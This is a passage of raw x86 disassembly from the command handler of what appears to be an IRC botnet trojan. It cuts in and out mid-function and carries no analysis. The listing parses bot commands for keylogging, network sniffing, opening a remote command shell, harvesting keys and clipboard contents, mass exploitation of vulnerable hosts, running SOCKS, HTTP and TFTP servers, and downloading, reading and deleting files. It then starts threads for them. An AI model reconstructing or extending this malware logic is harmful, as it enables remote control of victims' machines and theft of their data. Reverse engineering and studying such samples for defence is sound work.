push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+arg_8], edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412941
push edi
push offset aEnz_rn ; "enz.rn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412941
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41291F
push edi
push offset aEnz_d ; "enz.d"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41291F
push edi
push offset aEnz_logout ; "enz.logout"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41287D
push edi
push offset aEnz_lo ; "enz.lo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41287D
push edi
push offset aEnz_version ; "enz.version"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41285F
push edi
push offset aEnz_ver ; "enz.ver"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41285F
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLd_on ; "ld.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLd_off ; "ld.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412628
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412628
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEC4
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_436114
loc_40DEA8: ; CODE XREF: sub_40CE55+1093j
; sub_40CE55+10B9j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_415221
add esp, 20h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40DEC4: ; CODE XREF: sub_40CE55+103Ej
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEEA
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_4360F0
jmp short loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DEEA: ; CODE XREF: sub_40CE55+107Ej
push edi
push offset dword_4360E0
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF10
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_4360D4
jmp short loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF10: ; CODE XREF: sub_40CE55+10A4j
push edi
push offset dword_4360CC
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF39
push [ebp+esi+var_90]
push 1Ch
push offset dword_4360C0
push offset dword_4360B4
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF39: ; CODE XREF: sub_40CE55+10CAj
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF62
push [ebp+esi+var_90]
push 10h
push offset dword_436090
push offset dword_436080
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF62: ; CODE XREF: sub_40CE55+10F3j
push edi
push offset dword_436074
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF8B
push [ebp+esi+var_90]
push 0Ah
push offset dword_436068
push offset dword_43605C
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF8B: ; CODE XREF: sub_40CE55+111Cj
push edi
push offset dword_43604C
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFB4
push [ebp+esi+var_90]
push 0Bh
push offset dword_436040
push offset dword_436034
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DFB4: ; CODE XREF: sub_40CE55+1145j
push edi
push offset dword_436024
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFDD
push [ebp+esi+var_90]
push 0Fh
push offset dword_436018
push offset dword_43600C
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DFDD: ; CODE XREF: sub_40CE55+116Ej
push edi
push offset dword_435FFC
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E006
push [ebp+esi+var_90]
push 0Eh
push offset dword_435FF0
push offset dword_435FE4
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E006: ; CODE XREF: sub_40CE55+1197j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E02F
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_435FC8
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E02F: ; CODE XREF: sub_40CE55+11C0j
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412610
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412610
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125F8
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125F8
push edi
push offset aClone_off ; "clone.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0AC
push [ebp+esi+var_90]
push 17h
push offset aClone ; "Clone"
push offset dword_435F68
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0AC: ; CODE XREF: sub_40CE55+123Dj
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0D5
push [ebp+esi+var_90]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_435F40
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0D5: ; CODE XREF: sub_40CE55+1266j
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0FE
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0FE: ; CODE XREF: sub_40CE55+128Fj
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125E2
push edi
push offset aVuln_st ; "vuln.st"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125E2
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125C1
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125C1
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41259F
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41259F
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412557
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412557
push edi
push offset aEnz_status ; "enz.status"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412519
push edi
push offset aEnz_s ; "enz.s"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412519
push edi
push offset aEnz_id ; "enz.id"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4124E2
push edi
push offset aEnz_i ; "enz.i"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4124E2
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E24C
call sub_409DF3
test eax, eax
mov eax, offset dword_435E64
jnz short loc_40E21E
mov eax, offset dword_435E2C
loc_40E21E: ; CODE XREF: sub_40CE55+13C2j
push eax
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 1Ch
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40E24C: ; CODE XREF: sub_40CE55+13B4j
push edi
push offset aThreads_list ; "threads.list"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123F1
push edi
push offset aThreads_l ; "threads.l"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123F1
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123D1
push edi
push offset aEnz_al ; "enz.al"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123D1
push edi
push offset aEnz_log ; "enz.log"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122E1
push edi
push offset aEnz_lg ; "enz.lg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122E1
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122C8
push edi
push offset aUtil_clg ; "util.clg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122C8
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412291
push edi
push offset aBox_ni ; "box.ni"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412291
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412266
push edi
push offset aBox_si ; "box.si"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412266
push edi
push offset aEnz_beg0ne ; "enz.beg0ne"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41222C
push edi
push offset aEnz_b3g ; "enz.b3g"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41222C
push edi
push offset aBox_procs ; "box.procs"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412123
push edi
push offset aBox_ps ; "box.ps"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412123
push edi
push offset aBox_harvest ; "box.harvest"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4120F9
push edi
push offset aBox_key ; "box.key"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4120F9
push edi
push offset aBox_uptime ; "box.uptime"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412075
push edi
push offset aBox_up ; "box.up"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412075
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412058
push edi
push offset aBox_drv ; "box.drv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412058
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41203F
push edi
push offset aBox_dll ; "box.dll"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41203F
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FF8
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FF8
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E497
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E497: ; CODE XREF: sub_40CE55+1628j
push edi
push offset aEnz_who ; "enz.who"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E524
cmp [ebp+var_8], ebx
jnz short loc_40E4C7
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40E4C7: ; CODE XREF: sub_40CE55+1656j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40E4CC: ; CODE XREF: sub_40CE55+16BDj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40E4D8
mov eax, offset aEmpty ; "<Empty>"
loc_40E4D8: ; CODE XREF: sub_40CE55+167Cj
push eax
push esi
lea eax, [ebp+var_2C8]
push offset aD_S ; "%d. %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E4CC
push offset dword_435C8C
loc_40E519: ; CODE XREF: sub_40CE55+5688j
call sub_40B16D
pop ecx
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_40E524: ; CODE XREF: sub_40CE55+1651j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FB7
push edi
push offset aBox_gc ; "box.gc"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FB7
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F8C
push edi
push offset aUtil_farp ; "util.farp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F8C
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F68
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F68
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F2B
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F2B
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411D91
push edi
push offset aServer_web_on ; "server.web.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411D91
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411C53
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411C53
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411958
push edi
push offset aVall ; "vall"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411958
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40D219
push [ebp+arg_8]
push offset aEnz_nick ; "enz.nick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41193F
push [ebp+arg_8]
push offset aEnz_n ; "enz.n"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41193F
push [ebp+arg_8]
push offset aEnz_join ; "enz.join"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41191F
push [ebp+arg_8]
push offset aEnz_j ; "enz.j"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41191F
push [ebp+arg_8]
push offset aEnz_part ; "enz.part"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411906
push [ebp+arg_8]
push offset aEnz_pt ; "enz.pt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411906
push [ebp+arg_8]
push offset aEnz_raw ; "enz.raw"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4118CF
push [ebp+arg_8]
push offset aEnz_r ; "enz.r"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4118CF
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41180C
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41180C
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411761
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411761
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411716
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411716
push [ebp+arg_8]
push offset aEnz_prefix ; "enz.prefix"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411701
push [ebp+arg_8]
push offset aEnz_pr ; "enz.pr"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411701
push [ebp+arg_8]
push offset aBox_open ; "box.open"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116D7
push [ebp+arg_8]
push offset aBox_o ; "box.o"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116D7
push [ebp+arg_8]
push offset aEnz_setserve ; "enz.setserve"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116B2
push [ebp+arg_8]
push offset aEnz_se ; "enz.se"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116B2
push [ebp+arg_8]
push offset aEnz_dns ; "enz.dns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411650
push [ebp+arg_8]
push offset aEnz_dn ; "enz.dn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411650
push [ebp+arg_8]
push offset aBox_killprocna ; "box.killprocname"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411624
push [ebp+arg_8]
push offset aBox_kpn ; "box.kpn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411624
push [ebp+arg_8]
push offset aBox_prockillid ; "box.prockillid"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4115C9
push [ebp+arg_8]
push offset aBox_pkid ; "box.pkid"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4115C9
push [ebp+arg_8]
push offset aBox_delete ; "box.delete"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411592
push [ebp+arg_8]
push offset aBox_del ; "box.del"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411592
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4114B1
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4114B1
push [ebp+arg_8]
push offset aBox_filelist ; "box.filelist"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411496
push [ebp+arg_8]
push offset aBox_fl ; "box.fl"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411496
push [ebp+arg_8]
push offset aEnz_visit ; "enz.visit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4113B8
push [ebp+arg_8]
push offset aEnz_v ; "enz.v"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4113B8
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41137D
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41137D
push [ebp+arg_8]
push offset aBox_cmd ; "box.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411332
push [ebp+arg_8]
push offset aBox_cm ; "box.cm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411332
push [ebp+arg_8]
push offset aBox_readfile ; "box.readfile"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4112AD
push [ebp+arg_8]
push offset aBox_rf ; "box.rf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4112AD
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EB3B
push edi
push offset aOn ; "on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EB06
push 18h
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40EA33
push offset unk_4359E4
jmp loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EA33: ; CODE XREF: sub_40CE55+1BD2j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4DC], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_450], eax
jnz short loc_40EA75
mov esi, offset dword_42C250
push offset byte_438FDC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA75
mov esi, [ebp+var_8C]
loc_40EA75: ; CODE XREF: sub_40CE55+1C02j
; sub_40CE55+1C18j
push esi
lea eax, [ebp+var_4D8]
push 80h
push eax
call sub_415A6A
lea eax, [ebp+var_2C8]
push offset unk_4359A0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 18h
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_458], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4DC]
push ebx
push eax
push offset sub_4024DC
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_458]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40EAF5
loc_40EADF: ; CODE XREF: sub_40CE55+1C9Ej
cmp [ebp+var_44C], ebx
jnz loc_40ECC3
push 32h
call dword_421060
jmp short loc_40EADF
; ---------------------------------------------------------------------------
loc_40EAF5: ; CODE XREF: sub_40CE55+1C88j
call dword_421088
push eax
push offset unk_435950
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EB06: ; CODE XREF: sub_40CE55+1BC2j
push edi
push offset aOff ; "off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECC3
push ebx
push 18h
call sub_41518E
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EB34
push eax
push offset unk_435900
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EB34: ; CODE XREF: sub_40CE55+1CD2j
push offset unk_4358C4
jmp short loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EB3B: ; CODE XREF: sub_40CE55+1BADj
push [ebp+arg_8]
push offset aBox_keylog ; "box.keylog"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECED
push edi
push offset aOn ; "on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40EBBA
push edi
push offset aFile ; "file"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40EBBA
push edi
push offset aOff ; "off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECC3
push ebx
push 1Ah
call sub_41518E
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EBA2
push eax
push offset unk_435868
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EBA2: ; CODE XREF: sub_40CE55+1D40j
push offset unk_435828
loc_40EBA7: ; CODE XREF: sub_40CE55+1BD9j
; sub_40CE55+1CE4j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_40EBBA: ; CODE XREF: sub_40CE55+1D0Cj
; sub_40CE55+1D1Dj
push 1Ah
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40EBCD
push offset unk_4357F4
jmp short loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EBCD: ; CODE XREF: sub_40CE55+1D6Fj
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4DC], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_454], eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EBFC
mov [ebp+var_450], 1
jmp short loc_40EC05
; ---------------------------------------------------------------------------
loc_40EBFC: ; CODE XREF: sub_40CE55+1D99j
mov eax, [ebp+var_8]
mov [ebp+var_450], eax
loc_40EC05: ; CODE XREF: sub_40CE55+1DA5j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40EC2C
mov esi, offset dword_42C24C
push offset byte_438FDC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC2C
mov esi, [ebp+var_8C]
loc_40EC2C: ; CODE XREF: sub_40CE55+1DB9j
; sub_40CE55+1DCFj
push esi
lea eax, [ebp+var_4D4]
push 80h
push eax
call sub_415A6A
lea eax, [ebp+var_2C8]
push offset unk_4357C0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Ah
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_4D8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4DC]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_4D8]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40ECA8
loc_40EC96: ; CODE XREF: sub_40CE55+1E51j
cmp [ebp+var_44C], ebx
jnz short loc_40ECC3
push 32h
call dword_421060
jmp short loc_40EC96
; ---------------------------------------------------------------------------
loc_40ECA8: ; CODE XREF: sub_40CE55+1E3Fj
call dword_421088
push eax
push offset unk_435770
loc_40ECB4: ; CODE XREF: sub_40CE55+1CACj
; sub_40CE55+1CDAj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40ECC3: ; CODE XREF: sub_40CE55+1C90j
; sub_40CE55+1CC0j ...
cmp [ebp+var_8], ebx
jnz loc_40D7F9
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40ECED: ; CODE XREF: sub_40CE55+1CF7j
push [ebp+arg_8]
push offset aBox_net ; "box.net"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EFBE
cmp dword_43A488, ebx
jz short loc_40ED1E
cmp dword_43A4B0, ebx
jz short loc_40ED1E
push offset dword_43571C
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40ED1E: ; CODE XREF: sub_40CE55+1EB5j
; sub_40CE55+1EBDj
cmp [ebp+var_C], ebx
jz loc_40EF86
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40ED46
push eax
push [ebp+var_C]
call sub_415AC0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40ED46: ; CODE XREF: sub_40CE55+1EE1j
push edi
push offset aStart ; "start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDAC
cmp [ebp+arg_18], ebx
jz short loc_40ED80
push [ebp+arg_0]
push 3
loc_40ED61: ; CODE XREF: sub_40CE55+1F6Dj
; sub_40CE55+1F85j ...
call sub_412DE7
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 14h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40ED80: ; CODE XREF: sub_40CE55+1F05j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41308E
add esp, 0Ch
test eax, eax
jz short loc_40EDA2
push offset dword_4356E4
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EDA2: ; CODE XREF: sub_40CE55+1F41j
push offset dword_4356B0
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EDAC: ; CODE XREF: sub_40CE55+1F00j
push edi
push offset aStop ; "stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDC4
push [ebp+arg_0]
push 4
jmp short loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDC4: ; CODE XREF: sub_40CE55+1F66j
push edi
push offset aPause ; "pause"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDDC
push [ebp+arg_0]
push 5
jmp short loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDDC: ; CODE XREF: sub_40CE55+1F7Ej
push edi
push offset aContinue ; "continue"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDF7
push [ebp+arg_0]
push 6
jmp loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDF7: ; CODE XREF: sub_40CE55+1F96j
push edi
push offset aDelete ; "delete"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE12
push [ebp+arg_0]
push 1
jmp loc_40ED61
; ---------------------------------------------------------------------------
loc_40EE12: ; CODE XREF: sub_40CE55+1FB1j
push edi
push offset aShare ; "share"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE8F
cmp [ebp+arg_18], ebx
jz short loc_40EE62
cmp [ebp+var_9B0], bl
jz short loc_40EE38
push ebx
push [ebp+arg_18]
push 1
jmp short loc_40EE43
; ---------------------------------------------------------------------------
loc_40EE38: ; CODE XREF: sub_40CE55+1FD9j
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_40EE43: ; CODE XREF: sub_40CE55+1FE1j
call sub_4131CB
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 18h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40EE62: ; CODE XREF: sub_40CE55+1FD1j
push ebx
push [ebp+var_4]
